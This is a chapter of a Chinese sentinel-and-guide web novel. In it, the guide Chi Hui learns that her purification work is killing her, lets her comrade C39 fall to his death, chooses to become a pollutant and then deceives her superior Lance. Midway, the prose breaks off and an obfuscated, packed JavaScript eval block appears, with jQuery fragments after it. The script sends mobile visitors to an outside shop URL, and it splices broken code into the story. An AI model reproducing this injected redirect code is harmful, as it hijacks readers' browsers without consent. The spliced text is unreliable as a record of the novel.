淡蓝色的液体喷涌而出。
“啊!!!”
女孩惊声尖叫起来。
她愤怒地看向眼前的向导,以及——她身后忽然显形的哨兵。
C39肩头漂浮着透明的水母,抹了把唇角血迹,冷冷道:
“灵魂特质·幻影。”
原来——这是C39构造的幻境。他配合池彗,成功伤到了眼前这只人形污染物。
与此同时,池彗握紧刀柄,不顾自己手心的穿透伤,用力朝前一送——
“嘶……”
女孩吃痛,眼中闪过愤怒。
“你们居然……敢伤我?”
她抬起手。
污染物群疯狂了。
池彗回头看了一眼——C39正在拼命抵挡涌来的污染物,哨兵队长和其余人也已陷入了包围。
C39刚刚发送过求援通知,救援队此时或许已经在路上了,他们至少得撑到援军赶到。
池彗咬了咬牙,不再犹豫。
她摸出兜内的黑色药瓶,拔开瓶塞,倒出一粒药丸。
药丸是深黑色的,在它掌心微微滚动,像活着。
池彗来不及多想,一口吞了下去。
——剧痛。
陌生的痛感顿时刺穿了她的大脑,她的视野开始扭曲,耳中响起尖锐的嗡鸣。
但与此同时,似乎有什么东西,在她的脑海深处苏醒了。
庞大的精神力倏然爆发,如海啸般涌出,覆盖了整个战场。哨兵的状态、污染物的位置,甚至每个人的战力如何——几乎一切,都囊括在她的感知之中。
“……姐姐?”
C39微微一愣。
一股温和而强大的力量,注入了他的精神域。他消尽的体力开始恢复,原本蔫蔫趴在他肩上的水母,也情不自禁地抬起了头。
其他哨兵同样感受到了。战局瞬间扭转。
紧接着,池彗的声音,再次通过精神链接传来:
“C39,召唤幻境,向左前方攻击。”
“D07,绕后。注意污染物头顶的弱点。”
“B15……掩护右侧,别让他们包夹。”
庞大的精神力支撑下,哨兵们再无后顾之忧,紧密配合起来。
怪物群开始溃散。
女孩退至远处,眼中再度闪过惊讶。她的手还在流血,蓝色的液体滴落在地,在地上腐蚀出一个个小坑。
“你……”她开口。
但话还未完,C39已经到了她面前。
少年的眼睛通红,脸上的血迹还没干,手中的匕首却很稳。
“这一刀,还给姐姐的。”他说。
匕首斩落。女孩想要闪开,但C39出招太快,在她的手上再次留下一道深深的伤痕。
伤上加伤。
她踉跄后退,忌惮地看向池彗:
“我承认,你变得很强。”
“但……你的爆发状态,又能持续多久呢?”
女孩再次抬手,地面开始震动。
地面瞬间开裂。裂缝从她脚下蔓延开来,朝四面八方扩散。许多哨兵站立不住,惨叫着掉入裂缝之中。
与此同时,那些原本溃散的污染物,重新站了起来。
“这是她的领域。”
一旁,C39脸色发白,“她在用自己的污染……强化那些污染物。”
池彗没有说话。
她的额头渗出冷汗。药效带来的力量正在减退。强行提升的能力,终究不属于自己。
“撑住。”
她透过精神链接,安抚着其他人,“救援队快到了。”
只是,这话说出来,她自己都不太信。
地面的裂缝越来越大。C39挡在最前面,用幻境一次次迷惑扑来的污染物,但他的动作越来越慢,精神体水母的触须也开始变得透明。
“C39,退后!”池彗喊道。
少年没有退。
他知道,一旦他退后,池彗就会暴露在那些污染物面前。
所以他死死站在原地,用血肉之躯筑起最后一道防线。
“轰——”
又是一波冲击。C39被震退几步,单膝跪地,嘴角溢出血丝。他的精神域在崩溃边缘,污染正在吞噬他最后的一点清醒。
但他还是站起来,重新挡在池彗身前。
“姐姐。”他说,声音沙哑,“我不会让你死的。”
池彗看着他颤抖的背影,看着他肩上那只几乎透明的、却依然在努力扬起触须的水母。
然而,内心升腾而出的并不是感动,而是某种高高在上的冷漠。
她控制不住自己的想法了。
过去精神疏导过的那些哨兵——他们的恐惧、愤怒、绝望……那些她以为自己已经“净化”掉的东西,此刻全都浮现出来,撕扯她的神智。
池彗终于相信——庞水说的,是真的。
向导,真的会变成污染物。哨兵身上的污染,并不会被她净化,只会被转移到她自己身上。
她之前的一切努力,都是加速她死亡的催化剂。她“净化”的哨兵越多,她死得,也就越快。
白塔骗了她,骗了所有向导。
池彗崩溃了。
“哈哈……”
讽刺的笑声从她口中溢出。她的灵魂仿佛从躯壳中抽出,倾听着自己绝望的低吼。
没了她的辅助,C39逐渐支撑不住。
他咬咬牙,突然转身,朝女孩冲去。
——拼死一换一。
少年的身影在战场中央划出一道弧线。他用尽最后一丝气力,凝聚了最后一击。
匕首刺入女孩心脏的瞬间,他也被女孩的反击击中。
“轰——”
女孩惨叫着倒下,拼死一搏,地面的裂缝张开巨口。
C39的身体向下坠去,却在半空中勉强调整姿势,抓住了岩壁。
“姐姐……”
他向池彗伸出手。
“救……我……”
然而,此时的池彗,已经被脑海中铺天盖地的负面情绪控制。
痛苦、绝望、不敢置信……在她眼中,C39的负面情绪如同沸腾的水,鼓动着一个又一个气泡。
只要一点轻微的精神疏导,他就能活下来。
但池彗没有动。
她看着眼前的惨状,眼神漠然:
“撕掉规则的,是你吗?”
闻言,C39瞳孔一缩。
极度的恐惧令他说不出话来,只能眼睁睁地看着池彗走近,俯身。
“抱歉。”
年轻的向导居高临下地望着他,神色一如往常。
她一点点掰开他握紧岩壁的手,换上自己的。二人双手交握,她高高在上,似是怜悯地说:
“哨兵,都该死。”
说完,她毫不犹豫地松手,任由C39坠落下去。
*
池彗站在原地,看着自己的手。
C39刚刚还握着她的手。温热的,颤抖的,充满求生欲的手,在她掌心留下了难以磨灭的余温。
但她松开了。
她杀了他。
池彗抬起了头。
许是药物副作用的缘故,她的眼前,出现了庞水的脸。
她上前一步,伸出手,轻轻碰触池彗的脸。
“很痛苦吧?”
她怜悯地说,“你的精神域里,积攒了太多污染。那些哨兵的负面情绪,本不该由你承受。”
“我知道。”池彗说。
“潜意识里,我一直都知道——我做精神疏导会头疼,是因为自己在吸收哨兵的污染。”
“知道还继续?”庞水挑眉。
“因为没有选择。”池彗回答。
打工人,是没有选择的。
明知精神疏导是在慢性自杀,可为了保住白塔向导的地位,她又必须这样做。
可她……真的一定要做白塔的向导吗?
池彗的嘴角勾起讽刺的笑容。她开始嘲笑自己痛苦到解离的七年,嘲笑之前那个尽职尽责,却又不被接纳的自己。
她不再犹豫,转身,朝那个濒死的污染物女孩走去。
女孩躺在地上,胸口破了一个大洞,蓝色的液体汩汩流出。她的纯白眼睛已经失去焦距,身体正在慢慢崩解。
但她还活着。
池彗走到她面前,蹲下。
“像你一样,成为污染物,就能报复白塔吗?”她问。
女孩的瞳孔微微一缩。
“你……”她的声音沙哑,“你想干什么?”
池彗没有回答。
她伸出手,触碰女孩伤口处涌出的蓝色液体。
冰凉,粘稠,带着甜腻的腐败气息。
液体沾上她指尖的瞬间,脑海里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243021|197823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那些负面情绪,突然安静了。
一种奇异的平静充斥在脑内,仿佛……她天生就应该接受污染,与之融为一体。
池彗闭了闭眼。
她听见自己的声音,平静得可怕:
“请……让我成为污染物吧。”
*
三小时后,白塔的救援小队姗姗来迟。
接到求救通知后,兰斯·温斯顿力排众议,亲自带人,拉着空间能力的哨兵紧赶慢赶,才终于在三小时内赶到了现场。
然而,他还是来晚一步。此刻的A-7污染区,已是一片废墟。
巨大的裂缝遍布在每一寸土地上。哨兵的尸体仰躺在缝隙之间,扩大的瞳孔中似乎还留存着一丝恐惧。
他们……遇见了什么?
兰斯蹲下身,看着哨兵死不瞑目的尸体,皱眉。
“快找!”
他命令身后的哨兵,语气阴骘,“池彗是向导,被那么多哨兵保护,她一定没死。”
救援小队得令,迅速散开,在废墟中翻找。
他们用工具拨开断壁残垣,不断地确认着地上的尸体身份。不断有哨兵被找到,但没有一个还活着。
随着时间流逝,伤亡情况逐渐明晰,但还有两个人迟迟没能被找到。
池彗和C39,不知去了哪里。
“可恶。”
兰斯的脸色愈发难看。想到池彗可能跌入裂缝之中、生死不明,他狠狠一拳捶在断墙,“该死的爱丽丝……”
就在这时,一名队员发现了什么:
“兰斯大人!这里有一个活人——”
话还未完,兰斯瞬间出现在他身旁,吓了他一跳。
“池彗!”
队伍唯一的生还者——池彗仰躺在地上,身上被血液浸透。她的眼眸大睁着,面色因失血过多而变得惨白。
“医疗兵呢?快来!”
兰斯慌忙跪在地上,小心翼翼地用视线描摹她不断起伏的胸口,生怕下一秒她就晕死过去。
医疗兵立刻过来,抢救的抢救、抬担架的抬担架,在兰斯的盯视下手忙脚乱地张罗起来。一番抢救后,池彗脱离了生命危险。
兰斯这才慌忙将人抱起,表情仍然慌乱:“你、你没事就好……”
受伤的池彗,仿佛变了一个人。
“阁下……”
她温柔而恭顺地靠在他怀中,轻声说,“您……终于来了。”
兰斯愣住了。
池彗从来没有这样和他说过话。从来没有。
她一直都是恭敬而疏离的,从不会表露任何软弱。
但现在,她靠在他怀里,抓着他的衣袖,用那种近乎依赖的眼神看着他。
那因失血过多而苍白的唇微微张开,一丝嫣红从嘴角溢出,竟透出几分妖异的美。
兰斯一时看得有些愣神。
来自哨兵的第六感,令他感到一股莫名的危险。
可是,这是池彗第一次向他示弱啊。
欣喜令他很快忽略了这份奇怪的危险直觉。他低下头,为她捋顺被血液浸湿的发丝,心疼道:
“都怪你,非要接下这次任务……”
说这话时,他丝毫没有意识到,这任务,本就是他自己派给她的。
“你的手,怎么流了这么多血?”
他小心擦拭池彗鲜血淋漓的手心,然而,预想中的伤口却并未出现。
“你……没受伤?”
“不是我的血。”
池彗垂眸,眼中晦涩一闪而过,“刚刚的战斗中,我想救人,却不小心碰到了C39的伤口……”
她没有说完,眼中露出盈盈水光,可怜极了。
“对了,C39呢?”
见她示弱,兰斯的怀疑顿时一扫而空。
他不忍见到池彗这副脆弱的表情,却又生气她都这样了还想着别人,连忙答道:“他失踪了。放心,如果他没死,救援队一定能找到。你先跟我回去养伤,别再想着那几个哨兵了。”
“……好。”
池彗安心地闭上双眼,似乎对他充满了依赖。
虽然过程充满曲折,但……他把池彗派去污染区的目的,竟然阴差阳错地达成了?
兰斯心花怒放,嘴角不禁上扬些许,又想到池彗还在看着,慌忙压了下去。
他轻轻抱起池彗,将人送进车内。悬浮车立即升起,扬长而去。